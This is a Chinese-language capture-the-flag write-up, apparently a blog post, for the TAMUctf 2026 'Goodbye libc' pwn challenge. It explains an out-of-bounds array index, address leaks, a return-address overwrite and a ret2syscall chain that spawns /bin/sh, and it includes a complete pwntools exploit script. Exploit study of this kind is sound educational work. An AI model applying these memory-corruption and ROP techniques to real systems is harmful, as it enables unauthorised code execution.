Goodbye libc

这题限制了libc,libc里面只有自定义的strlen、exit、write、read

char* long_to_str(unsigned long num) {
  // Needs to be static so string is accessible after function return
  static char str[64];
  int i = 0;
  int len = 0;

  // If number = 0
  if (num == 0) { 
    str[0] = '0'; 
    str[1] = '\0'; 
    return str; 
  }

  char tmp[64];
  while (num > 0) { 
    tmp[i++] = '0' + (num % 10); 
    num /= 10; 
  }
  while (i > 0) {
    str[len++] = tmp[--i];
  }
  str[len] = '\0';
  return str;
}

这个函数就是把输入的内容改成十进制字符串输出

int input_index() {
  char input[16];

  read(STDIN, input, 16);
  int choice = 0;
  
  // Add all digits in input
  for (int i = 0; i < 16; ++i) {
    if (input[i] >= '0' && input[i] <= '9') {
      // Increase digit and add next digit
      choice = 10*choice + (input[i]-'0');
    }
    else {
      break;
    }
  }

  if (choice <= 3 && choice >= -2) {
    return choice-1;
  }
  else {
    print("Invalid index!\n\n");
    return -1;
  }
}

这里我们实际上可以返回-3到2(由于这里的choice = 10*choice + (input[i]-'0');,我们发送负数要利用int正溢出来)

    case WRITE_NUM:
      print("Select index to write to [1-3]: ");
      index = input_index();
  
      write_num(&nums[index]);
      break;
    case PRINT_NUM:
      print("Select index to read from [1-3]: ");
      index = input_index();
      if (index == -1) continue;
      print("\nValue written: ");
      print(long_to_str(nums[index]));
      break;

这里我们可以看到,我们可以利用负索引越界nums[-3]和nums[-2]和nums[-1],write_num函数能让我们写这两个位置,print_num函数能泄露这两个位置

我们首先看这两个位置存了什么,从ida中可以看到nums存在rbp - 0x38,也可以直接看mov rax, [rbp+rax*8+var_38]时显示的地址,然后我们可以在gdb中找到并查看

这里我们在print_num函数的s_6 = long_to_str(v39[v41]);地方下断点看

我们可以看到num[-3]位置是栈地址,num[-2]是pie地址,那我们就能直接通过print_num函数泄露这两个地址了

然后我们可以向是否可以通过num[]越界覆盖某个函数的返回地址考虑

这里我们在菜单选项一里的write_num(&v39[v41]);处下断点,在进入write_num前求出num[]的位置,然后si进入write_num函数里,我们可以发现num[-2]能覆盖write_num的返回地址

然后我们泄露libc

这里用到一个特性:在 64 位 Linux 中,所有的系统调用(如 read, write)最终都要通过 syscall 这条汇编指令进入内核。为了追求极限的性能,syscall 指令并没有像传统的 call 指令那样把返回地址压入栈中,而是直接操作寄存器:当 CPU 执行 syscall 时,它会瞬间把当前指令的下一条地址(也就是返回地址,这是一个libc地址)存入 rcx 寄存器,但是在调用结束后并不会特意清空。

我们可以断在write_num的调用write的下一条指令处,即mov eax, 0看看rcx是不是libc地址

mov     rsi, rax        ; buf
mov     edi, 1          ; fd
call    _write
mov     eax, 0
call    input_num

我们可以看到确实是libc地址,而且由于write_num后续的汇编没有修改rcx的指令,那我们只要利用num[-2]把write_num的返回地址覆盖成一个能打印rcx的地方就能泄露出libc地址

这里寻找的话是看菜单各个有打印功能的函数的汇编来寻找

我们可以看到菜单2的add两个num的函数的汇编

mov     eax, [rbp+var_1C]
cdqe
mov     rcx, [rbp+rax*8+var_38]
mov     eax, [rbp+var_18]
cdqe
mov     rax, [rbp+rax*8+var_38]
lea     rdx, __         ; " + "
mov     rsi, rcx        ; _QWORD
mov     rdi, rax        ; _QWORD
call    print_expression
lea     rax, s_
mov     rdi, rax        ; s
call    _strlen
mov     edx, eax        ; n
lea     rax, s_
mov     rsi, rax        ; buf
mov     edi, 1          ; fd
call    _write

这个函数一共接收两个num,第二个num是通过rcx传递的,那只要我们覆盖write_num的返回地址为lea rdx, __ ; " + "这个位置,我们就能利用call print_expression打印出libc地址了

但是这题的libc是只有最基础的四个函数的:

// Custom strlen
int strlen(char* str) {
  int i = 0;
  while (str[i]) i++;
  return i;
}

// Exit syscall
int __attribute__((naked)) exit(int) {
  asm ("push rbp\n\t"
      "mov rbp, rsp\n\t"
      "mov rax, 60\n\t"
      "syscall\n\t"
      "pop rbp\n\t"
      "push rdx\n\t"
      "push rsi\n\t"
      "push rdi\n\t"
      "pop rdi\n\t"
      "pop rsi\n\t"
      "pop rdx\n\t"
      "ret\n\t"
  );
}

// Write syscall
int __attribute__((naked)) write(int, char*, int) {
  asm ("push rbp\n\t"
      "mov rbp, rsp\n\t"
      "mov rax, 0x1\n\t"
      "syscall\n\t"
      "pop rbp\n\t"
      "ret\n\t"
  );
}

// Read syscall
int __attribute__((naked)) read(int, char*, int) {
  asm ("push rbp\n\t"
      "mov rbp, rsp\n\t"
      "mov rax, 0x0\n\t"
      "syscall\n\t"
      "pop rbp\n\t"
      "ret\n\t"
  );
}

有了libc后我们就开始构造rop链了,这里最简单的想法就是还是利用num[-2]能覆盖返回地址,然后我们能写入num[-2]到num[2],也就是我们只能构造一个5条指令的rop链

这里libc里没有system,那我们只能ret2syscall了,这里的困难点就是libc里的gadget没有能控制rax,这里libc里面能用的gadget也就

      "pop rdi\n\t"
      "pop rsi\n\t"
      "pop rdx\n\t"
      "ret\n\t"

      "syscall\n\t"
      "pop rbp\n\t"
      "ret\n\t"

这里用到一个方法控制rax,就是read系统调用后我们输入的字符长度会被保存在rax里,那只要我们先构造一个read 59字节的rop链,再跳到syscall,这时就成功调用execve("/bin/sh",0,0)

这里我解题时写的栈布局是这样的:

#array[-2] = gadget
#array[-1] = 0
#array[0] = array[3]
#array[1] = 59
#array[2] = syscall
#array[3] = bin/sh
#array[4] = gadget
#array[5] = array[3]
#array[6] = 0
#array[7] = 0
#array[8] = syscall

EXP:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = ''

file_name = './goodbye-libc_patched'
libc_name = './libc.so.6'

elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)

gdb_   = 1 if ('gdb' in sys.argv)        else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1
error  = 1 if ('error'  in sys.argv)     else 0

if debug:
    context(log_level='debug')

if error:
    context(log_level='error')

bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'), 
# ('system', 'libc')
# 0x1cb0
# 0x167a,
# 0x154b
0x1535
]

gdb_cmd = ''
if gdb_ and switch == 0:
    gdb_cmd += "set breakpoint pending on\n"
    for b in bps:
       if isinstance(b, int):
           gdb_cmd += f"b *$rebase({hex(b)})\n"
       elif isinstance(b, str):
           gdb_cmd += f"b {b}\n"
       elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
           if 'libc' in locals() and libc:
                target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
                gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
           else:
                log.warning("未加载 Libc,跳过 Libc 断点")
    gdb_cmd += "c\n"

if switch:
   parts = target.replace(':', ' ').split()
   host = parts[-2]
   port   = int(parts[-1])
   p = remote(host, port)
elif gdb_:
   p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
   p = process(file_name)

def s(data):             return p.send(data)
def sa(delim, data):     return p.sendafter(delim, data)
def sl(data):            return p.sendline(data)
def sla(delim, data):    return p.sendlineafter(delim, data)
def r(numb=4096):        return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool):            return p.recvline(keepends=bool)
def ra(t=None):          return p.recvall(timeout=t)
def rn(numb):            return p.recvn(numb)
def cl():                return p.close()
def it():                return p.interactive()
def uc64(data):          return u64(data.rjust(8, b'\x00'))
def uu64(data):          return u64(data.ljust(8, b'\x00'))
def a(f, off=libc):      return lg(hex(off), (ret := f.address + off)) or ret
def cb(data):            return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data):      return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address):         return (address).to_bytes(3, 'big')
def ntlbc(leak, offset, name='Libc'):  return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'):  return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'):          return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None):                    return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr
def shn(target, current_printed):     return [((target & 0xffff) - current_printed) % 0x10000, current_printed + (((target & 0xffff) - current_printed) % 0x10000)]
def shhn(target, current_printed):    return [((target & 0xff) - current_printed) % 0x100, current_printed + (((target & 0xff) - current_printed) % 0x100)]

_rop_cache = {}
def gg(s, f=None):
   target = f or libc
   if target not in _rop_cache:
       _rop_cache[target] = ROP(target)
   rop = _rop_cache[target]
   instrs = [x.strip() for x in s.split(';')]
   gadget = rop.find_gadget(instrs)
   if gadget:
       addr = gadget.address
       lg(s, addr)
       return addr
   else:
       raise ValueError(f"[-] Critical: Gadget not found: {s}")

def ga(delim=b'|', name='Leak', data=None):
    target_data = p.recv(data) if isinstance(data, int) else (data if data else ru(delim))
    if isinstance(target_data, str):
        target_data = target_data.encode()
    hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
    return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]
#################################################################################
def menu1(idx):
    sla(b"Enter input: ", cb(idx))

def print_num(index):
    menu1(6)
    sla(b"Select index to read from [1-3]: ", cb(index))

def write_num(index, num):
    menu1(1)
    sla(b"Select index to write to [1-3]: ", cb(index))
    sla(b"Select value to write: ", cb(num))

print_num(-1 & 0xffffffff)
ru(b"Value written: ")
pie_leak = int(ru(b"\n"))
ntpie(pie_leak, 0x1cbd)
print_num(-2 & 0xffffffff)
ru(b"Value written: ")
stack_leak = int(ru(b"\n"))
lg("Stack Leak", stack_leak)

target = elf.address + 0x1710
write_num(-1 & 0xffffffff, target)
ru(b"+ ")
libc_leak = int(ru(b":"))
ntlbc(libc_leak, 0x1065)

gadget = libc.address + 0x103f               #pop rdi;pop rsi;pop rdx;ret;
target_array = stack_leak - 0x38
read_syscall = libc.address + 0x105c 
lg("Target Array", target_array)
#array[-2] = gadget
#array[-1] = 0
#array[0] = array[3]
#array[1] = 59
#array[2] = syscall
#array[3] = bin/sh
#array[4] = gadget
#array[5] = array[3]
#array[6] = 0
#array[7] = 0
#array[8] = syscall
array_3 = target_array + 0x8 * 3
payload = [0, array_3, 59, read_syscall]
for i,val in enumerate(payload):
    write_num(i,val)
write_num(-1 & 0xffffffff, gadget)

syscall = libc.address + 0x1063
payload1 = flat([
    "/bin/sh\x00",
    gadget,
    array_3,
    0,
    0,
    syscall
]).ljust(0x3b,b'\x00')
s(payload1)
it()

题目链接:tamuctf-2026/pwn/goodbye-libc at main · tamuctf/tamuctf-2026


Goodbye libc
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-ymWVb1KB
作者
ZenDuk
发布于
2026年04月17日
许可协议